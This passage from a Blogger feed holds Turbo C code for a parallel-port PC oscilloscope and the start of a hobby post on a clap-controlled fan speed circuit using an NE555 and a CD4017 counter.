OSCILLOSCOPE&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* PROGRAM FOR PC OSCILLOSCOPE */&lt;br /&gt;/*by M.M.VIJAI ANAND B.E (E.E.E) C.I.T */&lt;br /&gt;#include&lt;dos.h&gt;&lt;br /&gt;#include&lt;time.h&gt;&lt;br /&gt;#include&lt;stdio.h&gt;&lt;br /&gt;#include &lt;graphics.h&gt;&lt;br /&gt;#include&lt;string.h&gt;&lt;br /&gt;#include&lt;stdlib.h&gt;&lt;br /&gt;#define data 0x0378&lt;br /&gt;#define stat 0x0379&lt;br /&gt;#define cont 0x037a&lt;br /&gt;void graphics(int[],int[]); //FUNCTION TO DISPLAY&lt;br /&gt;GRAPH AND WAVEFORM&lt;br /&gt;void settings(); //FUNCTION TO CHANGE&lt;br /&gt;THE SETTINGS(TIME AND VOLTAGE)&lt;br /&gt;long int samp=7000; //PLEASE CHECK THESE VALUES&lt;br /&gt;WHEN CONVERSION IS&lt;br /&gt;// NOT PROPER(+-3000)&lt;br /&gt;float scale=1;&lt;br /&gt;float times=1;&lt;br /&gt;char again=’a’;&lt;br /&gt;int number=800;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;int i,j,k,a[1700],b[1700],c[1700],e[1700]; //This value&lt;br /&gt;1700 is given when we want to compress the waveform&lt;br /&gt;//done when we compress the time scale&lt;br /&gt;long int b1;&lt;br /&gt;clrscr();&lt;br /&gt;settings();&lt;br /&gt;while(again==’a’)&lt;br /&gt;{&lt;br /&gt;for(i=0;i&lt;number;i++)&lt;br /&gt;{&lt;br /&gt;outportb(cont,0x05^0x0b);&lt;br /&gt;outportb(cont,0x04^0x0b);&lt;br /&gt;e[i]=(inportb(stat)^0x80)&amp;0x08;&lt;br /&gt;for(b1=0;b1&lt;=samp;b1++) //sampling time&lt;br /&gt;is approximately 50 μsec&lt;br /&gt;{}&lt;br /&gt;outportb(cont,0x05^0x0b);&lt;br /&gt;outportb(cont,0x01^0x0b);&lt;br /&gt;outportb(cont,0x05^0x0b);&lt;br /&gt;while((inportb(cont)&amp;amp;0x08)==0x00) //converstion time&lt;br /&gt;is approximately 100 μsec&lt;br /&gt;{}&lt;br /&gt;outportb(data,0xf0);&lt;br /&gt;a[i]=(inportb(stat)^0x80)&amp;0xf0;&lt;br /&gt;outportb(data,0x01);&lt;br /&gt;b[i]=(inportb(stat)^0x80)&amp;0xf0;&lt;br /&gt;outportb(data,0xff);&lt;br /&gt;}&lt;br /&gt;for(i=0;i&lt;number;i++)&lt;br /&gt;{&lt;br /&gt;a[i]=a[i]&gt;&gt;4;&lt;br /&gt;c[i]=a[i]+b[i];&lt;br /&gt;c[i]=c[i]*0.0196*45/scale;&lt;br /&gt;}&lt;br /&gt;graphics(c,e);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;void graphics(int a1[],int e1[])&lt;br /&gt;{&lt;br /&gt;int gd=DETECT,gm,max,may,a,b,c,im,error,get=5;&lt;br /&gt;char str[10],*st=”-”,d;&lt;br /&gt;clrscr();&lt;br /&gt;initgraph(&amp;amp;gd,&amp;amp;gm,”c:\\tc\\bgi”); //use&lt;br /&gt;default bgi path&lt;br /&gt;error=graphresult();&lt;br /&gt;if(error != grOk)&lt;br /&gt;{&lt;br /&gt;printf(“Graphics error %s /n”,grapherrormsg(error)); /&lt;br /&gt;/reports error when&lt;br /&gt;//graphics is not set&lt;br /&gt;printf(“PRESS ANY KEY TO EXIT”);&lt;br /&gt;getch();&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;setbkcolor(LIGHTCYAN);&lt;br /&gt;setcolor(MAGENTA);&lt;br /&gt;settextstyle(0,0,2);&lt;br /&gt;max=getmaxx();&lt;br /&gt;may=getmaxy();&lt;br /&gt;may=may-20;&lt;br /&gt;outtextxy(0,may,”OSCILLOSCOPE”);&lt;br /&gt;settextstyle(0,0,1);&lt;br /&gt;setcolor(BLUE);&lt;br /&gt;outtextxy(max-200,may+2,”press ‘a’ for next sample”);&lt;br /&gt;setcolor(BROWN);&lt;br /&gt;outtextxy(max-200,may+10,”press any key to exit”);&lt;br /&gt;setcolor(GREEN);&lt;br /&gt;settextstyle(0,0,0);&lt;br /&gt;for(a=0;a&lt;=may;a+=get)&lt;br /&gt;{line(0,a,800,a);&lt;br /&gt;}&lt;br /&gt;for(a=0;a&lt;=max;a+=get)&lt;br /&gt;{&lt;br /&gt;line(a,0,a,may);&lt;br /&gt;}&lt;br /&gt;setcolor(BROWN);&lt;br /&gt;setlinestyle(0,3,0);&lt;br /&gt;line(max/2,0,max/2,may);&lt;br /&gt;line(0,may/2,max,may/2);&lt;br /&gt;setcolor(RED);&lt;br /&gt;for(a=0,c=0;a&lt;=max;a+=50,c++)&lt;br /&gt;{&lt;br /&gt;putpixel(a,may/2,BLUE);&lt;br /&gt;itoa((a-c*30)*times/2,str,10);&lt;br /&gt;outtextxy(a+3,may/2+3,str);&lt;br /&gt;}&lt;br /&gt;for(b=(may/2)-45,c=1;b&gt;=0;b-=45,c++)&lt;br /&gt;{&lt;br /&gt;itoa((c*scale),str,10);&lt;br /&gt;putpixel((max/2),b,BLUE);&lt;br /&gt;outtextxy((max/2)+3,b+3,str);&lt;br /&gt;}&lt;br /&gt;for(b=(may/2)+45,c=1;b&lt;=800;b+=45,c++)&lt;br /&gt;{&lt;br /&gt;itoa((c*scale),str,10);&lt;br /&gt;strcat(st,str);&lt;br /&gt;putpixel((max/2),b,BLUE);&lt;br /&gt;outtextxy((max/2)+2,b+2,st);&lt;br /&gt;strcpy(st,”-”);&lt;br /&gt;}&lt;br /&gt;setcolor(MAGENTA);&lt;br /&gt;outtextxy(max-80,may/2+30,”time(msec)”);&lt;br /&gt;settextstyle(0,1,0);&lt;br /&gt;outtextxy((max/2)-10,0,”volt(s)”);&lt;br /&gt;setlinestyle(0,0,0);&lt;br /&gt;setcolor(RED);&lt;br /&gt;moveto(0,may/2);&lt;br /&gt;for(b=0,c=0;b&lt;=number;c+=1, b++)&lt;br /&gt;{&lt;br /&gt;if(e1[b]!=0x08)&lt;br /&gt;{&lt;br /&gt;lineto(c*times,((may/2)-a1[b]));&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;lineto(c*times,((may/2)+a1[b]));&lt;br /&gt;}}&lt;br /&gt;again = getch();&lt;br /&gt;closegraph();&lt;br /&gt;restorecrtmode();&lt;br /&gt;}&lt;br /&gt;void settings()&lt;br /&gt;{&lt;br /&gt;int gd=DETECT,gm,error,max,may,b;&lt;br /&gt;char c,d,e[2],m,*n;&lt;br /&gt;times=1;&lt;br /&gt;initgraph(&amp;amp;gd,&amp;amp;gm,”c:\\tc\\bgi”); //default bgi&lt;br /&gt;directory path&lt;br /&gt;error=graphresult();&lt;br /&gt;if(error != grOk)&lt;br /&gt;{&lt;br /&gt;printf(“Graphics error %s /n”,grapherrormsg(error));&lt;br /&gt;printf(“PRESS ANY KEY TO EXIT”);&lt;br /&gt;getch();&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;max=getmaxx();&lt;br /&gt;setbkcolor(LIGHTBLUE);&lt;br /&gt;settextstyle(1,0,0);&lt;br /&gt;setcolor(BROWN);&lt;br /&gt;outtextxy(max/2-60,20,”SETTINGS”);&lt;br /&gt;line(0,60,800,60);&lt;br /&gt;setcolor(MAGENTA);&lt;br /&gt;settextstyle(1,0,1);&lt;br /&gt;outtextxy((max/4)-70,80,”Voltage Scale”);&lt;br /&gt;settextstyle(0,0,0);&lt;br /&gt;setcolor(BROWN);&lt;br /&gt;outtextxy(10,120,”DEFAULT :”);&lt;br /&gt;outtextxy(10,120,” 1 unit = 1 volt”);&lt;br /&gt;setcolor(RED);&lt;br /&gt;outtextxy(10,170,”TYPE ‘C’ TO CHANGE AND ‘D’ TO&lt;br /&gt;DEFAULT”);&lt;br /&gt;c=getch();&lt;br /&gt;if(c==’c’)&lt;br /&gt;{&lt;br /&gt;outtextxy(10,200,”TYPE 1 for 1 unit = 2 volt”);&lt;br /&gt;outtextxy(10,240,”TYPE 2 for 1 unit = 4 volt”);&lt;br /&gt;outtextxy(10,300,”TYPE 3 for user defined”);&lt;br /&gt;switch(getch())&lt;br /&gt;{&lt;br /&gt;case ‘1’ :&lt;br /&gt;{ scale=2;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;case ‘2’ :&lt;br /&gt;{scale = 4;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;case ‘3’ :&lt;br /&gt;{&lt;br /&gt;outtextxy(10,340,”TYPE VALUES FROM 1 TO 9 (minimize)&lt;br /&gt;or m to (magnify)”);&lt;br /&gt;d=getch();&lt;br /&gt;if(d==’m’)&lt;br /&gt;{&lt;br /&gt;outtextxy(10,360,”TYPE a (1 unit = 0.5 volt) or b (1&lt;br /&gt;unit = 0.25 volt)”);&lt;br /&gt;switch(getch())&lt;br /&gt;{&lt;br /&gt;case ‘a’:&lt;br /&gt;{&lt;br /&gt;scale=0.5;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;case ‘b’:&lt;br /&gt;{&lt;br /&gt;scale=0.25;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{ e[0]=’0';&lt;br /&gt;e[1]= ‘0’;&lt;br /&gt;e[2]=d;&lt;br /&gt;scale=atoi(e);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;setcolor(BROWN);&lt;br /&gt;outtextxy(10,380,”TYPE C TO CHANGE TIME SETTINGS”);&lt;br /&gt;m=getch();&lt;br /&gt;if( m==’c’)&lt;br /&gt;{&lt;br /&gt;cleardevice();&lt;br /&gt;outtextxy(10,20,”X AXIS 1 unit= 10msec CHANGE TO&lt;br /&gt;x(10msec)”);&lt;br /&gt;outtextxy(10,40,”TYPE ‘a’ IF x IS (2 to 9) ,’b’ IF x IS (10&lt;br /&gt;to 99) AND ‘c’ IF x IS (.5 TO .9)”);&lt;br /&gt;switch(getch())&lt;br /&gt;{&lt;br /&gt;case ‘a’:&lt;br /&gt;outtextxy(10,60,”x value is ....”);&lt;br /&gt;n[0]=getch();&lt;br /&gt;times=atoi(n);&lt;br /&gt;itoa(times,n,10);&lt;br /&gt;outtextxy(10,70,n);&lt;br /&gt;break;&lt;br /&gt;case ‘b’:&lt;br /&gt;outtextxy(10,60,”x value is ....”);&lt;br /&gt;n[0]=getch();&lt;br /&gt;n[1]=getch();&lt;br /&gt;times=atoi(n);&lt;br /&gt;itoa(times,n,10);&lt;br /&gt;outtextxy(10,70,n);&lt;br /&gt;break;&lt;br /&gt;case ‘c’:&lt;br /&gt;outtextxy(10,60,”x value is...”);&lt;br /&gt;getch();&lt;br /&gt;n[0]=getch();&lt;br /&gt;times=atoi(n)*0.1;&lt;br /&gt;outtextxy(10,70,”scale decremented”);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;number=800;&lt;br /&gt;if(times&lt;1)&lt;br /&gt;{number=number/times;&lt;br /&gt;}&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;closegraph();&lt;br /&gt;restorecrtmode();&lt;br /&gt;}&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-2751031303792634621?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/2751031303792634621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=2751031303792634621' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/2751031303792634621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/2751031303792634621'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/pc-based-oscilloscope.html' title='PC-BASED OSCILLOSCOPE'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_UHT9NT6eH58/R-5Bva1wTKI/AAAAAAAADs4/XNWOg94cC9k/s72-c/circuit.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-898876734667462913</id><published>2008-03-22T05:38:00.001-07:00</published><updated>2008-03-29T01:52:19.140-07:00</updated><title type='text'>Air Cooler Hack</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;span style="font-size:130%;"&gt;Here is simple Circuit, through which we can make our ordinary fan or cooler work with the help of our bare hands. All you have to do is clapp.&lt;br /&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;span style="font-style: italic;font-size:180%;" &gt;Block Diagram&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" href="http://tinypic.com/"&gt;&lt;img alt="Image and video hosting by TinyPic" src="http://i25.tinypic.com/1zcdf1s.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="font-size:180%;"&gt;Block Diagram Details&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;/p&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;In this mode, the speed of the cooler may varied by making sound vibration (Clap). The speed variation is in ten steps&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;The diagram consists of four blocks. They are &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;1.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;Microphone&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;2.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;Sound-operated trigger pulse generator&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;3.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;Clock pulse generator&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;4.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;Clock pulse counter&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;5.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;Load operation&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin: 6pt 0in 6pt 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;1.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;Microphone&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin: 6pt 0in 6pt 1in; text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;It is an electro acoustic transducer, used to convert the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin: 6pt 0in; text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;sound signal into electrical pulse.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 6pt 0in 6pt 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;2.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;Sound-operated trigger pulse generator&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin: 6pt 0in 6pt 0.5in; text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;The trigger pulse generator is used to produce the trigger. A NPN transistor is used for its generation. BC-148 transistor is used to amplify the audio signals in Class-C mode.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;3.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;Clock Pulse Generator&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: 0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;The Clock pulse generator (IC NE555) works in mono stable mode. It produces a clock pulse, when a trigger pulse is got at the input terminal.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;4.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;Clock Pulse Counter&lt;span style=""&gt;                                                                               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.25in; text-indent: 0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;A decade counter is used for counting the clock pulses. The decade counter counts the number of inputs clock pulses and gives the output based on the input.&lt;b style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-left: 0.5in; text-align: justify; text-indent: -0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;5.&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;Load Operations&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 0.5in; text-align: justify; text-indent: 0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;An electronic controlled switch is used for the load operations [Relay]. A NPN transistor is used to drive the relay.&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;br /&gt;Circuit Diagram&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="margin-left: 0.5in; text-align: justify; text-indent: 0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;&lt;span style=""&gt;&lt;img src="http://i32.tinypic.com/2hd466r.jpg" style="max-width: 800px; width: 442px; height: 935px;" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="margin-left: 0.5in; text-align: justify; text-indent: 0.25in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p style="line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="line-height: 150%;"&gt;Circuit Explanation&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;A BC 148 (NPN) transistor is employed as a trigger pulse generator. It operates in Class C mode of amplification. NE555 IC timer is employed as a clock pulse generator. It operates in mono stable mode. Therefore, it is a mono stable multi vibrator. It generates the clock frequencies.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;The clock pulse output applied at pin 3 of NE555 is applied to the pin 14 of decade counter IC CD 4017. The Decade counter counts the clock pulses. When the output of pin 2 goes high, the first speed relay is activated. At this time, the other two relays are in OFF state. At the next trigger, the pin 4 goes high, while the other two pins goes low. At the fourth pulse the IC resets, and the cooler turns OFF. At the next clap, the cooler turns ON.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="line-height: 150%;font-size:130%;" &gt;In sound operated mode, the electro acoustic mic (Conducer mic) converts the sound signal into electrical pulse. This electrical pulse is given to the trigger pulse generator. When the mic produces the electric pulse, the trigger pulse generator generates the trigger pulse.&lt;span style=""&gt;  &lt;/span&gt;The output of the trigger pulse generator is given to the clock pulse generator. When the clock pulse generator receives the trigger pulse it produces the clock pulse. The clock pulse counter counts the clock pulse and drives the output load based on the input clock pulse.&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify; text-indent: 0.5in; line-height: 150%;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;u&gt;Basic Component details&lt;o:p&gt;&lt;/o:p&gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;Microphone [Condenser] &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;It is used as a transducer. For this a condenser microphone is used. It converts the sound energy into electrical energy. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;b style=""&gt;Transistor BC-148 [Trigger Pulse Generator]&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; text-indent: 0.5in;" class="MsoNormal"&gt;&lt;span style="font-size:130%;"&gt;It is a NPN Transistor. It is used in this 